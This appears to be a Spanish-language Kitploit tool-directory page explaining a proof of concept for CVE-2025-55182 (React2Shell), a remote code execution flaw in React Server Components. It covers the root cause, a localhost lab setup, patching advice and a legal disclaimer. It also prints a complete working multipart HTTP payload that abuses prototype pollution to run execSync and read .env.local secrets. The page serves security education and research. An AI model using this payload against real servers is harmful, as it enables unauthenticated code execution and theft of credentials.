Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
React2ShellPoC — Este repositorio proporciona una prueba de concepto para CVE-2025-55182 (React2Shell), una vulnerabilidad de ejecución remota de código en React Server Components. Muestra cómo funciona el exploit, incluyendo el payload y el impacto. | Kitploit
Herramientas/GitHubGitHub/git0xlai/react2shellpoc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubgit0xlai/react2shellpoc

React2ShellPoC

Este repositorio proporciona una prueba de concepto para CVE-2025-55182 (React2Shell), una vulnerabilidad de ejecución remota de código en React Server Components. Muestra cómo funciona el exploit, incluyendo el payload y el impacto.

Ver Repositorio
1hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Comprendiendo CVE-2025-55182 (React2Shell): Una inmersión profunda en la Ejecución Remota de Código a través de React Server Components

Resumen

CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica de ejecución remota de código (RCE) que afecta a React Server Components. Este fallo permite a atacantes no autenticados ejecutar código arbitrario en servidores vulnerables explotando un problema de deserialización insegura en el protocolo Flight de React.

Dado su puntaje CVSS de 10.0, esta vulnerabilidad es extremadamente grave y requiere atención inmediata. En este artículo, explicaré los detalles de la vulnerabilidad, el mecanismo de explotación y proporcionaré una demostración de prueba de concepto (PoC). Vamos a profundizar.

Versiones afectadas

Las siguientes versiones de React Server Components y paquetes relacionados son vulnerables:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Paquetes afectados:

  • react-server-dom-parcel

  • react-server-dom-turbopack

  • react-server-dom-webpack

¿Qué son React y React Server Components?

React.js es una de las bibliotecas de JavaScript más populares para construir interfaces de usuario, especialmente en el contexto de aplicaciones de una sola página (SPA). Permite a los desarrolladores crear experiencias de usuario dinámicas e interactivas.

React Server Components (RSC) es una característica experimental que permite que algunas partes de una aplicación React se rendericen en el servidor, en lugar del cliente. Esto reduce la cantidad de JavaScript requerida en el lado del cliente y mejora el rendimiento, especialmente en aplicaciones grandes.

Sin embargo, RSC introduce nuevas complejidades, particularmente en cómo se intercambian los datos entre el servidor y el cliente. CVE-2025-55182 explota uno de estos problemas con el protocolo Flight, que se utiliza en RSC para transferir datos entre el servidor y el cliente.


La vulnerabilidad

Resumen de la vulnerabilidad

CVE-2025-55182 se origina en una deserialización insegura en el protocolo Flight de React. La deserialización es el proceso de convertir datos serializados (generalmente JSON) en un objeto en memoria. React utiliza este proceso para manejar los datos intercambiados entre el servidor y el cliente durante el renderizado del lado del servidor.

Sin embargo, la implementación de deserialización de React no es segura. Específicamente, React utiliza notación de corchetes para acceder a las propiedades de los objetos (por ejemplo, moduleExports[metadata[2]]), lo que permite a los atacantes manipular la cadena de prototipos de los objetos de JavaScript. Esto resulta en contaminación de prototipos y abre la posibilidad de modificar las propiedades de los objetos de maneras inesperadas, permitiendo a los atacantes explotar la lógica de deserialización.

Causa raíz

La raíz de la vulnerabilidad radica en cómo React maneja las cargas útiles del protocolo Flight. El uso de notación de corchetes para el acceso a propiedades permite a los atacantes recorrer la cadena de prototipos, otorgándoles acceso a propiedades que normalmente no deberían ser accesibles, como constructor. Al manipular esta propiedad, los atacantes pueden acceder al constructor global Function y ejecutar código JavaScript arbitrario en el servidor.

Cómo funciona la explotación

La explotación funciona enviando una carga útil especialmente diseñada al servidor, que manipula la lógica de deserialización del protocolo Flight. Al combinar contaminación de prototipos y deserialización insegura, un atacante puede obtener control del servidor y ejecutar código arbitrario.

Los componentes clave del ataque incluyen:

  1. Contaminación de prototipos: El atacante manipula la cadena de prototipos de un objeto para inyectar nuevas propiedades, incluyendo las propiedades constructor y Function.

  2. Ejecución de la carga útil: Una vez que el atacante tiene acceso al constructor Function, puede ejecutar código JavaScript arbitrario, como leer archivos o ejecutar comandos del sistema.


Explotación paso a paso

Configuración del entorno vulnerable

Para probar la explotación, necesitarás un entorno React vulnerable. Aquí se explica cómo configurarlo:

  1. Crear un proyecto vulnerable
    Primero, crea un nuevo proyecto Next.js con una versión vulnerable de React Server Components:
  • npx [email protected] poc-react2shell cd poc-react2shell

    Alternativamente, puedes usar un repositorio de GitHub preconfigurado que ya contenga la configuración vulnerable.

  • Crear un archivo de entorno de prueba
    En el directorio raíz de tu proyecto, crea un archivo .env.local que contenga datos sensibles, como claves de API. El atacante apuntará a este archivo en la PoC:

  • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  • Iniciar el servidor de desarrollo
    Ejecuta el servidor de desarrollo:

  1. npm run dev

    El servidor vulnerable ahora debería estar ejecutándose en http://localhost:3000.


Pasos de explotación

Una vez que tu entorno esté listo, puedes enviar la carga útil maliciosa para desencadenar la explotación. Aquí es donde Burp Suite o cualquier otra herramienta de proxy HTTP resulta útil.

  1. Enviar la carga útil maliciosa
    Abre Burp Suite y navega a la pestaña Repeater. Establece la URL de destino como http://localhost:3000/ y envía la siguiente carga útil maliciosa:

  2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

  3. Analizar la respuesta
    Después de enviar la solicitud, si la explotación tiene éxito, el servidor responderá con el contenido de tu archivo .env.local (o cualquier dato sensible en las variables de entorno). Esto confirma el acceso del atacante a datos confidenciales. Respuesta


Explicación de la carga útil maliciosa

Desglose de encabezados

  1. Host: Especifica el servidor de destino (localhost:3000).

  2. User-Agent: Identifica el cliente que realiza la solicitud. La cadena suele ser de un navegador, pero aquí puede estar diseñada para ofuscar el ataque.

  3. Next-Action: Probablemente parte del procesamiento de Next.js, podría confundir al servidor o interactuar con el proceso de deserialización.

  4. X-Nextjs-Request-Id: ID de solicitud único para seguimiento y depuración en Next.js.

  5. Content-Type: Datos de formulario multiparte, utilizados para datos estructurados como JSON o cargas de archivos.

  6. Content-Length: Indica la longitud del cuerpo de la solicitud.

Campos multiparte

  • Campo 0: Contiene la carga útil que desencadena la contaminación de prototipos. Modifica el prototipo del objeto, agrega una nueva propiedad then e incluye un objeto _response malicioso. El _prefix ejecuta un comando child_process para leer el archivo .env.local.

  • Campo 1: Hace referencia al Campo 0 para propagar el ataque.

  • Campo 2: Arreglo vacío, asegurando que la estructura de la carga útil permanezca intacta.


Impacto de la vulnerabilidad

La vulnerabilidad CVE-2025-55182 permite a los atacantes:

  1. Ejecutar código arbitrario en el servidor.

  2. Leer archivos sensibles, como claves de API y archivos de configuración.

  3. Establecer shells inversas, obteniendo potencialmente control total del servidor.

  4. Exfiltrar datos sensibles del servidor.


Conclusión

CVE-2025-55182 (React2Shell) es una vulnerabilidad crítica en React Server Components que permite a atacantes no autenticados ejecutar código arbitrario en servidores vulnerables. Al explotar la deserialización insegura y la contaminación de prototipos, los atacantes pueden obtener control total sobre el servidor, leer datos sensibles y ejecutar comandos maliciosos.

Si estás utilizando React Server Components, es crucial actualizar a las últimas versiones parcheadas para mitigar esta vulnerabilidad. Adherirse a las mejores prácticas de seguridad, como la validación de entradas y el manejo adecuado de la deserialización, es esencial para prevenir vulnerabilidades similares.

Referencias


  • Detalles de CVE-2025-55182
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • PoC [kOaDT]
  • react2shellcve202555182

Aviso legal

Esta prueba de concepto está destinada únicamente con fines educativos y de investigación. No intentes explotar o probar vulnerabilidades en ningún sistema sin el consentimiento explícito y por escrito del propietario del sistema. Las pruebas no autorizadas pueden ser ilegales y poco éticas. Siempre sigue prácticas legales y responsables en ciberseguridad.

Descargar herramienta